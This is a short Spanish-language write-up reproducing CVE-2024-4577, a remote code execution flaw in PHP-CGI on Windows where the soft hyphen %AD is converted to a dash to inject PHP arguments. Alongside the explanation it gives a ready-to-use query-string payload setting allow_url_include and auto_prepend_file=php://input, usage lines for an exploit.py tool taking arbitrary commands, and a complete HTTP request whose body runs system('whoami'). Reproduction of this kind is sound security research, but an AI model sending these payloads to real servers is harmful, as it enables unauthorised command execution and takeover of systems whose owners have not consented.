
Reproducción de CVE: cve-2024-4577-phpcgi_rce_reproduction
CVE-2024-4577 es una vulnerabilidad crítica de ejecución remota de código en la implementación CGI de PHP en Windows. Evita el parche para el CVE-2012-1823 original explotando la conversión de páginas de código "Best-Fit" de Windows para introducir argumentos de línea de comandos a través de la cadena de consulta CGI.
Cuando PHP se ejecuta como módulo CGI (php-cgi.exe), analiza la cadena de consulta como argumentos de línea de comandos. El parche original para CVE-2012-1823 bloqueaba el carácter - (guion, 0x2D) para prevenir la inyección de argumentos. Sin embargo, en sistemas Windows que usan ciertas páginas de código (por ejemplo, chino, japonés, coreano), la función de mapeo de caracteres "Best-Fit" convierte caracteres Unicode específicos a sus equivalentes ASCII más cercanos.
La evasión clave utiliza el carácter guion suave (0xAD / U+00AD). Cuando una solicitud envía %AD en la cadena de consulta y la configuración regional del servidor usa una página de código "Best-Fit", Windows convierte internamente 0xAD en 0x2D (guion), permitiendo al atacante inyectar argumentos de PHP a pesar del filtro.
Ejemplo: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input se convierte en -d allow_url_include=1 -d auto_prepend_file=php://input.
Requisitos de configuración:
php-cgi.exemod_cgi o mod_cgid configuradoScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://inputpython exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
La carga útil creada inyecta directivas de configuración de PHP a través de la cadena de consulta:
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded
<?php system("whoami"); ?>
php-cgi.exe